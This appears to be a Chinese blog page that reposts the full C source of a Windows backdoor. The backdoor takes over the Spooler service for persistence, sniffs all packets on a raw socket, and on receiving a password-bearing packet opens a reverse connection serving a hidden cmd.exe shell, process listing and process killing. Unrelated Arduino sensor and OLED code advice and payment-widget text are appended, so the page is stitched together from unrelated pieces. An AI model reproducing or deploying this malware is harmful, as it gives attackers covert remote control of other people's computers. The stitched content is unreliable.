/zhuan yu shu/简单的无驱动嗅探启动后门



//FileName:SimpleBackDoor
//Author:云舒(
yunshu@ph4nt0m.org )
//Date:2005-11-5
//Modify:2005-11-15
//Modify:2006-1-1


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>
#include <mstcpip.h>
#include <tlhelp32.h>

///
//宏定义
///

#define BUFFER_SIZE                1024 * 10
#define SERVICE_NAME            "SimpleBackdoor"
#define SERVICE_DESCRIPTION        "Just a simple backdoor"
#define    SERVICE_DISPLAY_NAME    "SimpleBackdoor"
#define PASSWORD                "WhereAreYou,Icy"        //后门密码
#define REPLACE_SERVICE_NAME    "Spooler"        //要替换的服务
#define    FLAG                    "Icy/>"        //shell的标识符

//#define DEBUG

#ifdef DEBUG
    #define DEBUG_LOG            "c:/debug.txt"
#endif

///
//全局变量
///

typedef    struct ip_hdr                    //定义IP首部
{
    unsigned char    h_verlen;            //4位首部长度,4位IP版本号
    unsigned char    tos;                //8位服务类型TOS    
    unsigned short    total_len;            //16位总长度(字节)
    unsigned short    ident;                //16位标识
    unsigned short    frag_and_flags;        //3位标志位
    unsigned char    ttl;                //8位生存时间 TTL
    unsigned char    proto;                //8位协议 (TCP, UDP 或其他)
    unsigned short    checksum;            //16位IP首部校验和    
    unsigned int    sourceIP;            //32位源IP地址
    unsigned int    destIP;                //32位目的IP地址
}IP_HEADER;    

typedef    struct tcp_hdr                    //定义TCP首部
{
    USHORT            th_sport;            //16位源端口
    USHORT            th_dport;            //16位目的端口    
    unsigned int    th_seq;                //32位序列号
    unsigned int    th_ack;                //32位确认号
    unsigned char    th_lenres;            //4位首部长度/6位保留字
    unsigned char    th_flag;            //6位标志位
    USHORT             th_win;                //16位窗口大小
    USHORT             th_sum;                //16位校验和    
    USHORT             th_urp;                //16位紧急数据偏移量    
}TCP_HEADER;

typedef struct shell_argument            //传递到shell的参数结构
{
    char    ip[16];                        //反连的ip地址
    char    port[5];                    //反连的端口
}SHELL_ARGUMENT;

BOOL                        isRunning; //服务是否在运行
SERVICE_STATUS                serviceStatus;
SERVICE_STATUS_HANDLE        hServiceStatus;

///
//函数原形
///

BOOL    ServiceInstall( char * );        //安装服务
BOOL    ServiceUnstall( char * );        //删除服务
void    ServiceControl( DWORD );        //控制服务
void    ServiceMain( DWORD, char **);    //服务入口
int        StartDoor( LPVOID );            //启动后门
BOOL    StartWith( char *, char * );    //判断第一个字符串是否以第二个开头
void    LogToFile( char * );            //日志记录
void    Help( char * );                    //帮助
int        Sniffer( void );                //嗅探
int        DecodeTCP( char * );            //解包
int        StartShell( SOCKET );            //执行shell
int        ListProcess( SOCKET );            //列举进程
int        KillProcess( SOCKET, char * );    //杀进程

///
//程序入口,主函数
///

int    main( int argc, char *argv[] )
{
    char                    filePath[MAX_PATH] = { 0 }; //程序本身路径
    SERVICE_TABLE_ENTRY        serviceTable[2];
    
    serviceTable[0].lpServiceName = SERVICE_NAME;
    serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;

    serviceTable[1].lpServiceName = NULL;
    serviceTable[1].lpServiceProc = NULL;

    GetModuleFileName( NULL, filePath, MAX_PATH );
    
    #ifdef DEBUG
        LogToFile( "Call main/n" );
    #endif

    if( argc == 2 && (!stricmp( argv[1], "-install" )) )
    {
        if( ServiceInstall( filePath ) != TRUE )
        {
            printf( "Install service error/n" );
            return -1;
        }
        printf( "Install service successful/n" );
    }

    else if( argc == 2 && (!stricmp( argv[1], "-unstall" )) )
    {
        if( ServiceUnstall( SERVICE_NAME ) != TRUE )
        {
            printf( "Delete service error/n" );
            return -1;
        }
        printf( "Delete service successful/n" );
    }
        
    else
    {
        Help( argv[0] );
        
        if( !StartServiceCtrlDispatcher( serviceTable ) )
        {
            #ifdef DEBUG
                char    tmp[256] = { 0 };
                sprintf( tmp, "Main StartServiceCtrlDispatcher error: %d/n", GetLastError() );
                LogToFile( tmp );
            #endif
            
            return -1;
        }
    }

    return 0;
}

///
//安装服务函数
///

BOOL ServiceInstall( char * exeFilePath )
{
    char    tmpPath[MAX_PATH] = { 0 };
    HKEY    key;
    
    #ifdef    DEBUG
        char    tmp[256] = { 0 };
        sprintf( tmp, "Install: Path is : %s/n", exeFilePath );
        LogToFile( tmp );
    #endif
    
    /*这是安装成新服务,注释掉
    SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
    if ( serviceMangerHandle == 0 )
    {
        #ifdef    DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Install: Open services manager database error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif

        printf( "Install: Open services manager database error: %d/n", GetLastError() );
        return FALSE;
    }
    
    #ifdef    DEBUG
        LogToFile( "Install: open services manager database successful/n" );
    #endif
    
    SC_HANDLE serviceHandle = CreateService
    (
        serviceMangerHandle ,
        SERVICE_NAME ,
        SERVICE_DISPLAY_NAME ,
        SERVICE_ALL_ACCESS ,
        SERVICE_WIN32_OWN_PROCESS ,
        SERVICE_AUTO_START ,
        SERVICE_ERROR_NORMAL ,
        exeFilePath ,
        NULL ,
        NULL ,
        NULL ,
        NULL ,
        NULL
    );
    
    if ( serviceHandle == 0 )
    {
        printf( "Create service error: %d/n", GetLastError() );

        CloseServiceHandle( serviceMangerHandle );
        return FALSE;
    }
    
    #ifdef    DEBUG
        LogToFile( "Install: create services successful/n" );
    #endif
    
    strcpy( tmpPath, "SYSTEM/CurrentControlSet/Services/" );
    strcat( tmpPath, SERVICE_NAME );
    
    if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
    {
        #ifdef    DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Install: Open key %s error: %d/n", tmpPath, GetLastError() );
            LogToFile( tmp );
        #endif

        printf( "Open key %s error: %d/n", tmpPath, GetLastError() );
        return FALSE;
    }

    #ifdef    DEBUG
        LogToFile( "Install: open regedit successful/n" );
    #endif
    
    RegSetValueEx( key, "Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, strlen(SERVICE_DESCRIPTION) );

    #ifdef    DEBUG
        LogToFile( "Install: write regedit successful/n" );
    #endif
    
    RegCloseKey(key);
    CloseServiceHandle( serviceHandle );
    CloseServiceHandle( serviceMangerHandle );

    return TRUE;
    */
    
    //替换系统服务Spooler的执行路径,改为后门程序
    strcpy( tmpPath, "SYSTEM/CurrentControlSet/Services/" );
    strcat( tmpPath, REPLACE_SERVICE_NAME );
    
    if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
    {
        #ifdef    DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Install: Open key %s error: %d/n", tmpPath, GetLastError() );
            LogToFile( tmp );
        #endif

        printf( "Open key %s error: %d/n", tmpPath, GetLastError() );
        return FALSE;
    }

    #ifdef    DEBUG
        LogToFile( "Install: open regedit successful/n" );
    #endif
    
    if( RegSetValueEx( key,
                        "ImagePath",
                        0,
                        REG_EXPAND_SZ,
                        (BYTE *)exeFilePath,
                        strlen(exeFilePath) ) != ERROR_SUCCESS )
    
    {
        #ifdef    DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Install: Set key %s error: %d/n", tmpPath, GetLastError() );
            LogToFile( tmp );
        #endif

        printf( "Set key %s error: %d/n", tmpPath, GetLastError() );

        return FALSE;
    }


    #ifdef    DEBUG
        LogToFile( "Install: write regedit successful/n" );
    #endif
    
    RegCloseKey(key);
    
    return TRUE;
}

///
//删除服务函数
///

BOOL ServiceUnstall( char * serviceName )
{
    /*删除新服务,现在替换服务不用这样删除
    SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
    
    if ( scmHandle == NULL )
    {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "ServiceUntall: open services database error while delete service: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif

        return FALSE;
    }
  
    SC_HANDLE    scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
    
    if( scHandle == NULL )
    {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "ServiceUntall: open services database error while delete service: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif

        CloseServiceHandle( scmHandle );
            
        return FALSE;
    }
    
    DeleteService( scHandle );

    CloseServiceHandle( scHandle );
    CloseServiceHandle( scmHandle );
            
    return TRUE;
    */
    
    char    tmpPath[MAX_PATH] = { 0 };
    HKEY    key;
    char    *oldFilePath = "%systemroot%/system32/spoolsv.exe";

    strcpy( tmpPath, "SYSTEM/CurrentControlSet/Services/" );
    strcat( tmpPath, REPLACE_SERVICE_NAME );
    
    if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
    {
        #ifdef    DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Install: Open key %s error: %d/n", tmpPath, GetLastError() );
            LogToFile( tmp );
        #endif

        printf( "Open key %s error: %d/n", tmpPath, GetLastError() );
        return FALSE;
    }

    #ifdef    DEBUG
        LogToFile( "Install: open regedit successful/n" );
    #endif
    
    if( RegSetValueEx( key,
                    "ImagePath",
                    0,
                    REG_EXPAND_SZ,
                    (BYTE *)oldFilePath,
                    strlen(oldFilePath) ) != ERROR_SUCCESS )
    {
        #ifdef    DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Unstall: Set key %s value error: %d/n", REPLACE_SERVICE_NAME, GetLastError() );
            LogToFile( tmp );
        #endif
        
        return FALSE;
    }

    #ifdef    DEBUG
        LogToFile( "Unstall: write regedit successful/n" );
    #endif
    
    RegCloseKey(key);
    
    return TRUE;
}

///
//服务函数主体,启动嗅探模块
///

void ServiceMain( DWORD argc, char *argv[] )
{
    serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;//here
    serviceStatus.dwCurrentState = SERVICE_START_PENDING;
    serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    serviceStatus.dwWin32ExitCode = 0;
    serviceStatus.dwServiceSpecificExitCode = 0;
    serviceStatus.dwCheckPoint = 0;
    serviceStatus.dwWaitHint = 0;
    
    #ifdef DEBUG
        LogToFile( "ServiceMain: Try to register service/n" );
    #endif
    
    hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
    if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
    {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "ServiceMain: Register service error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif
        
        return;
    }

    serviceStatus.dwCurrentState = SERVICE_RUNNING;
    serviceStatus.dwCheckPoint = 0;
    serviceStatus.dwWaitHint = 0;
    
    #ifdef DEBUG
        LogToFile( "ServiceMain: Try to start service/n" );
    #endif

    if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "ServiceMain: Start service error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif
        
        return;        
    }

    isRunning = TRUE;
    
    #ifdef DEBUG
        LogToFile( "ServiceMain: Service is running now/n" );
    #endif
    
    while( TRUE )
    {
        if( !isRunning )
        {
            break;
        }
        
        #ifdef DEBUG
            LogToFile( "ServiceMain: Start sniffer now/n" );
        #endif

        Sniffer( );
    }
    
    serviceStatus.dwCurrentState = SERVICE_STOPPED;
    
    if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
    {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "ServiceMain: Stop service error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif
    }
    
    return;
}

///
//服务控制函数
///

void ServiceControl( DWORD request )
{
    #ifdef DEBUG
        LogToFile( "ServiceControl: Into ServiceControl/n" );
    #endif

    switch ( request )
    {
        case SERVICE_CONTROL_PAUSE:

            serviceStatus.dwCurrentState = SERVICE_PAUSED;

            break;

        case SERVICE_CONTROL_CONTINUE:

            serviceStatus.dwCurrentState = SERVICE_RUNNING;

            break;

        case SERVICE_CONTROL_STOP:
            
            #ifdef DEBUG
                LogToFile( "ServiceControl: Try to stop service/n" );
            #endif
            
            serviceStatus.dwWin32ExitCode = 0;
            serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
            serviceStatus.dwCheckPoint = 0;
            serviceStatus.dwWaitHint = 0;

            isRunning = FALSE;
            
            if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
            {
                #ifdef DEBUG
                    char    tmp[256] = { 0 };
                    sprintf( tmp, "ServiceMain: Stop service error: %d/n", GetLastError() );
                    LogToFile( tmp );
                #endif
            }
            return;

        case SERVICE_CONTROL_INTERROGATE:
            
            break;
            
        default:

            #ifdef DEBUG
                LogToFile( "ServiceControl: Error arguments/n" );
            #endif

            break;
    }

    if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "ServiceMain: Stop service error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif
    }

    return;
}

///
//记录日志函数
///

#ifdef DEBUG
void LogToFile( char *str )
{
    FILE    *fp;
    
    fp = fopen( DEBUG_LOG, "a" );
    fputs( str, fp );
    fclose( fp );
}
#endif

///
//输出帮助函数
///

void Help( char *prog )
{
    printf( "/n===================Code by 云舒(ph4nt0m.org)===================/n" );
    printf( "%s/t<-install>|<-unstall>/n", prog );
    printf( "after install,please restart the service which name is Spooler/n" );
}

///
//嗅探模块,抓取数据包
///

int Sniffer( void )
{
    WSADATA            wsaData;
    char FAR        hostName[128] =    { 0 };//存放主机名
    struct hostent    *phe;//存放IP地址结构
    char            myIP[16] = { 0 };
    SOCKET            sock;    
    char            recvBuffer[BUFFER_SIZE] = { 0 };//缓冲区存放捕获的数据
    SOCKADDR_IN        sniff;

    if( WSAStartup(MAKEWORD(2,2), &wsaData) != 0 )
    {
        #ifdef DEBUG
            char    tmp[512] = { 0 };
            sprintf( tmp, "Sniffer: WSAStartup error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif
        
        return -1;
    }

    gethostname( hostName ,128 );//获取本机主机名
    phe    = gethostbyname( hostName );//获取本机ip地址结构

    if( phe == NULL )
    {
        #ifdef DEBUG
            char    tmp[512] = { 0 };
            sprintf( tmp, "Sniffer: GetHostName error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif

        return -1;
    }

    
    struct in_addr    addr;
    int ipIndex;
    for( ipIndex = 0 ; phe->h_addr_list[ipIndex] ; ipIndex++ )
    {
        memcpy(&addr , phe->h_addr_list[ipIndex] , 4);
        
        //优先绑定不是内网的ip地址
        if( (strncmp(inet_ntoa(addr) , "10." , 3) != 0) &&
            (strncmp(inet_ntoa(addr) , "192.168." , 8) != 0) &&
            (strncmp(inet_ntoa(addr) , "172." , 4) != 0) )
        {
            strcpy( myIP , inet_ntoa(addr) );
            break;    
        }
    }
    //否则绑定第一个IP地址
    if( strlen(myIP) == 0 )
    {
        memcpy(&addr , phe->h_addr_list[0] , 4);
        strcpy( myIP , inet_ntoa(addr) );  
    }
    
    #ifdef DEBUG
        LogToFile( "Sniffer: Local IP is " );
        LogToFile( myIP );
        LogToFile( "/n" );
    #endif

    //建立socket监听数据包
    sock = socket( AF_INET, SOCK_RAW, IPPROTO_IP );
    
    #ifdef DEBUG
        LogToFile( "Sniffer: Sniffer socket is ok now.../n" );
    #endif
    
    sniff.sin_family = AF_INET;    
    sniff.sin_port = htons(0);
    sniff.sin_addr.s_addr =    inet_addr( myIP );

    //绑定到本地随机端口
    bind(sock,(PSOCKADDR)&sniff,sizeof(sniff));    

    #ifdef DEBUG
        LogToFile( "Sniffer: Sniffer bind is ok now.../n" );
    #endif
    
    //设置SOCK_RAW为SIO_RCVALL,以便接收所有的IP包
    DWORD dwBufferLen[10] = { 0 };
    DWORD dwBufferInLen = 1;
    DWORD dwBytesReturned =    0 ;    
    WSAIoctl(sock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned,NULL,NULL);    

    #ifdef DEBUG
        LogToFile( "Sniffer: Begain to recv.../n" );
    #endif
    
    int    bytesRecived = 0;
    while(TRUE)    
    {
        //如果服务停止,跳出
        if( !isRunning )
        {
            break;
        }
        
        memset( recvBuffer, 0, BUFFER_SIZE );
        
        //开始捕获数据包
        bytesRecived = recv( sock, recvBuffer, sizeof(recvBuffer), 0 );
        if( bytesRecived <= 0 )
        {
            #ifdef DEBUG
                LogToFile( "Sniffer: recv nothing,break.../n" );
            #endif
    
            break;
        }
        else
        {    
            #ifdef DEBUG
                LogToFile( "Sniffer: recv ok,decode it.../n" );
            #endif
            
            DecodeTCP( recvBuffer );
        }
    }
    closesocket( sock );
    WSACleanup( );
    return 1;
}

///
//分析数据包,启动后门
///

int DecodeTCP( char *buffer )
{
    IP_HEADER        *ipHeader;//IP_HEADER型指针
    TCP_HEADER        *tcpHeader;//TCP_HEADER型指针
    struct in_addr    inAddr;
    char            ourData[BUFFER_SIZE] = { 0 };
    char            *flag1 = NULL;
    char            *flag2 = NULL;
    char            password[64] = { 0 };
    SHELL_ARGUMENT    shellArgument;
    HANDLE            threadHandle = NULL;
    DWORD            threadID = 1;

    ipHeader = (IP_HEADER *)buffer;
    
    //是否TCP协议
    if( ipHeader->proto != 6 )
    {
        return -1;
    }
    
    tcpHeader = (TCP_HEADER *)( buffer+sizeof(IP_HEADER) );
    
    //是否有数据
    if( buffer+sizeof(IP_HEADER)+sizeof(TCP_HEADER) == NULL )
    {
        return -1;
    }
    
    strncpy( ourData, buffer+sizeof(IP_HEADER) + sizeof(TCP_HEADER), BUFFER_SIZE - 2 );
    
    flag1 = strchr( ourData, '|' );
    flag2 = strchr( ourData, ':' );

    //flag2-flag1为反向连接ip的长度,flag1 - ourData为密码长度
    if( flag1 == NULL || flag2 == NULL ||
        (flag2 - flag1) > sizeof(shellArgument.ip) || (flag1 - ourData) > (sizeof(password)-1)
        )
        
    {
        return -1;
    }
    
    #ifdef DEBUG
        LogToFile( "DecodeTCP: Have data.../n" );
        LogToFile( "DecodeTCP: " );
        LogToFile( ourData );
        LogToFile( "/n/n" );
    #endif
    
    ZeroMemory( shellArgument.ip, sizeof(shellArgument.ip) );
    ZeroMemory( shellArgument.port, sizeof(shellArgument.port) );

    //获取密码
    strncpy( password, ourData, flag1 - ourData );

    //获取反连IP
    strncpy( shellArgument.ip, flag1 + sizeof('|'), flag2-(flag1 + sizeof('|')) );

    //获取端口
    strncpy( shellArgument.port, flag2 + sizeof(':'), sizeof(shellArgument.port) - 1 );

    //去掉port后面的回车字符
    if( strchr( shellArgument.port, '/n' ) != NULL )
    {
        *strchr( shellArgument.port, '/n' ) = '';
    }
    
    #ifdef DEBUG
        LogToFile( "DecodeTCP: password is " );
        LogToFile( password );
        LogToFile( "/nDecodeTCP: Remote ip is " );
        LogToFile( shellArgument.ip );
        LogToFile( "/nDecodeTCP: Remote port is " );
        LogToFile( shellArgument.port );
        LogToFile( "/n" );
    #endif
    
    if( strcmp( PASSWORD, password ) == 0 )
    {
        #ifdef DEBUG
            LogToFile( "DecodeTCP: password is right/n" );
        #endif
        
        threadHandle = CreateThread( NULL,
                                    0,
                                    (LPTHREAD_START_ROUTINE)StartDoor,
                                    &shellArgument,
                                    0,
                                    &threadID  );
                                    
        Sleep( 500 );
        if( threadHandle == NULL )
        {
            #ifdef DEBUG
                char    tmp[512] = { 0 };
                sprintf( tmp, "DecodeTCP: Create thread to make shell error: %d/n", GetLastError() );
                LogToFile( tmp );
            #endif
            
            return -1;
        }
        
        #ifdef DEBUG
            LogToFile( "DecodeTCP: Create thread to make shell successful/n" );
        #endif
        
        threadID ++;
        if( threadID > 20000 )
        {
            threadID = 1;
        }
        
        CloseHandle( threadHandle );
        return 1;
    }
    else
    {
        #ifdef DEBUG
            LogToFile( "DecodeTCP: password is wrong/n" );
        #endif
        
        return -1;
    }
}

///
//后门模块
///

int    StartDoor( LPVOID argument )
{
    SOCKET            sock;
    SOCKADDR_IN        sin;
    int                ret;
    WSADATA            wsaData;
    SHELL_ARGUMENT    *shellArgument = (SHELL_ARGUMENT *)argument;

    #ifdef DEBUG
        LogToFile( "StartDoor: I'm in door now/n" );
    #endif
        
    sock = socket( AF_INET, SOCK_STREAM, 0 );
    if ( sock == INVALID_SOCKET )
    {
        #ifdef DEBUG
            char    tmp[512] = { 0 };
            sprintf( tmp, "StartDoor: Create socket error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif
        
        return -1;
    }
    
    memset( &sin, 0, sizeof(sin) );
    
    sin.sin_family = AF_INET;
    sin.sin_port = htons( atoi(shellArgument->port) );
    sin.sin_addr.s_addr = inet_addr( shellArgument->ip );
    
    ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
    if( ret == SOCKET_ERROR )
    {
        #ifdef DEBUG
            char    tmp[512] = { 0 };
            sprintf( tmp, "StartDoor: Connect error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif
        
        return -1;
    }
    
    char    cmd[256] = { 0 };        //客户端输入的命令

    while( TRUE )
    {
        //如果服务停止,跳出
        if( !isRunning )
        {
            break;
        }

        ZeroMemory( cmd, sizeof(cmd) );
        
        //发送命令提示符Icy/>
        strcpy( cmd, FLAG );
        send( sock, cmd, strlen(cmd), 0 );

        //接受客户端输入的命令
        ZeroMemory( cmd, sizeof(cmd) );
        recv( sock, cmd, sizeof(cmd)-1, 0 );

        //退出命令
        if( StartWith( cmd, "exit/n" ) )
        {
            send( sock, "ByeBye.../n", strlen("ByeBye.../n"), 0 );
            break;
        }

        //客户端要求执行shell
        if( StartWith( cmd, "shell" ) )
        {
            StartShell( sock );
        }

        //列举进程
        if( StartWith( cmd, "pslist" ) )
        {
            ListProcess( sock );
        }

        //杀进程,cmd + sizeof("kill ")-1即为进程ID
        if( StartWith( cmd, "kill" ) )
        {
            char pID[7] = { 0 };
            strncpy( pID, cmd + sizeof("kill ") - 1, 6 );
            
            *( strchr( pID, '/n' ) ) = '';
            
            KillProcess( sock, pID );
        }
    }
    
    closesocket( sock );
    return 0;
}

//执行shell
int StartShell( SOCKET sock )
{    
    SECURITY_ATTRIBUTES    sa;
    
    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;
    
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    
    int ret;
    
    //建立管道
    ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
    ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
        
    STARTUPINFO    si;
    ZeroMemory( &si, sizeof(si) );

    GetStartupInfo( &si );
    
    //新进程输入输出重定向
    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    
    PROCESS_INFORMATION    processInfo;
    
    char    cmdLine[] = "cmd.exe";
    
    //建立进程
    ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
    ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
    
    char            buff[BUFFER_SIZE] = { 0 };            
    unsigned long    bytesRead = 0;
    int             i = 0;
    
    while( TRUE )
    {
        if( !isRunning ) break;
        
        memset( buff, 0, BUFFER_SIZE );
        
          ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
          
        //防止超时,循环读取
          for(i = 0; i < 5 && bytesRead == 0; i++)
        {
            Sleep(100);
            ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
        }
        
          if( bytesRead )
        {
               ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;
  
            ret = send( sock, buff, bytesRead, 0 );
               if( ret <= 0 ) break;
          }
        else
        {
               bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
               
               if( bytesRead <= 0 ) break;
            
            if( StartWith( buff , "exit" ) == TRUE ) break;

               ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;
           }
    }
    
    //杀死cmd进程并关闭管道
    TerminateProcess( processInfo.hProcess, 0 );

    CloseHandle( hReadPipe1 );
    CloseHandle( hReadPipe2 );
    CloseHandle( hWritePipe1 );
    CloseHandle( hWritePipe2 );
    
    return 0;
}    

//列举进程
int ListProcess( SOCKET sock )
{
    HANDLE            hProcessSnap = NULL;
    HANDLE            hProcess = NULL;
    PROCESSENTRY32     pe32;
    char            psBuff[BUFFER_SIZE] = { 0 };

    hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if( hProcessSnap == INVALID_HANDLE_VALUE )
      {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Call CreateToolhelp32Snapshot error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif

        return -1;
      }

    pe32.dwSize = sizeof( PROCESSENTRY32 );

    if( !Process32First( hProcessSnap, &pe32 ) )
    {
        #ifdef DEBUG
            char    tmp[256] = { 0 };
            sprintf( tmp, "Call Process32First error: %d/n", GetLastError() );
            LogToFile( tmp );
        #endif

        CloseHandle( hProcessSnap );

        return -1;
    }

    send( sock, "PID/t/tProcessName/n", strlen("PID/t/tProcessName/n"), 0 );

    do
    {
        ZeroMemory( psBuff , sizeof(psBuff) );
        sprintf( psBuff , "%d/t/t%s/n", pe32.th32ProcessID , pe32.szExeFile );

        send( sock, psBuff, strlen(psBuff), 0 );
    }
    while( Process32Next( hProcessSnap, &pe32 ) );

    return 0;
}

//杀进程
int KillProcess( SOCKET sock, char *pID )
{
    HANDLE                hToken;
    LUID                 sedebugnameValue;
    TOKEN_PRIVILEGES     tkp;

    if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
    {
        send( sock, "Open Process Token Failed/n", strlen("Open Process Token Failed/n"), 0 );
        return -1;
    }

    if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
    {
        send( sock, "Set Privileg Failed/n", strlen("Set Privileg Failed/n"), 0 );
        CloseHandle( hToken );

        return -1;
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );

    CloseHandle( hToken );


    HANDLE    hProcess = NULL;
    
    send( sock, "try to kill ", strlen("try to kill "), 0 );
    send( sock, pID, strlen(pID), 0 );
    send( sock, "/n", strlen("/n"), 0 );
    
    hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , atoi(pID) );
    if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
    {
        char err[56] = { 0 };
        sprintf( err, "Open Process Failed: %d/n", GetLastError() );
        send( sock, err, strlen(err), 0 );

        return -1;
    }
    if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
    {
        send( sock, "Terminate Process Failed/n", strlen("Terminate Process Failed/n"), 0 );
        CloseHandle( hProcess );

        return -1;
    }
    
    send( sock, "process killed/n", strlen("process killed/n"), 0 );
    CloseHandle( hProcess );

    return 1;
}

//判断buf1是否以buf2开头
BOOL StartWith( char *buf1, char *buf2 )
{
    int len = strlen(buf2);

    if( memcmp( buf1,buf2,len ) == 0 )
    {
        return TRUE;
    }
    return FALSE;
}

这段代码存在以下几个问题: 1. `setup()` 函数为空,应该在其中初始化传感器、风扇等设备,并设置 OLED 显示屏。 2. `measurePin` 变量未定义,应该先定义该变量并设置测量风扇转速的引脚。 3. 在 `for` 循环中没有测量温湿度传感器的值,并且变量 `t` 未定义。 4. OLED 显示屏的代码未完整,缺少设置字体大小、显示位置等设置。 以下是修改后的代码,已经加入了初始化函数和完整的 OLED 显示屏设置代码: ```C++ #include <dht11.h> #include <Adafruit_GFX.h> #include <Adafruit_SSD1306.h> #define OLED_RESET -1 #define DHTPIN 7 #define FAN_PIN 9 #define MEASURE_PIN 2 dht11 dht; Adafruit_SSD1306 display(128, 64, &Wire, OLED_RESET); void setup() { pinMode(FAN_PIN, OUTPUT); pinMode(MEASURE_PIN, INPUT); Serial.begin(9600); display.begin(SSD1306_SWITCHCAPVCC, 0x3C); display.clearDisplay(); display.setTextColor(WHITE); display.setTextSize(2); display.setCursor(0, 0); } void loop() { // 读取温湿度传感器的值 int chk = dht.read(DHTPIN); float t = dht.temperature; float h = dht.humidity; // 补充 PWM 调速程序 // 测量风扇转速 float timesum = 0; for (int i = 0; i < 10; i++) { timesum = timesum + pulseIn(MEASURE_PIN, HIGH); timesum = timesum + pulseIn(MEASURE_PIN, LOW); } float zhuan = timesum / 5; float vshow = 60 * 1000000 / zhuan; // 显示温湿度和风扇转速 display.clearDisplay(); display.setCursor(0, 0); display.print("Temp: "); display.print(t); display.println(" C"); display.print("Humidity: "); display.print(h); display.println(" %"); display.print("Fan speed: "); display.print(vshow); display.println(" RPM"); display.display(); delay(1000); } ``` 请注意,以上代码仅供参考,可能需要根据实际情况进行调整。同时,需要在代码中添加 PWM 调速程序。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

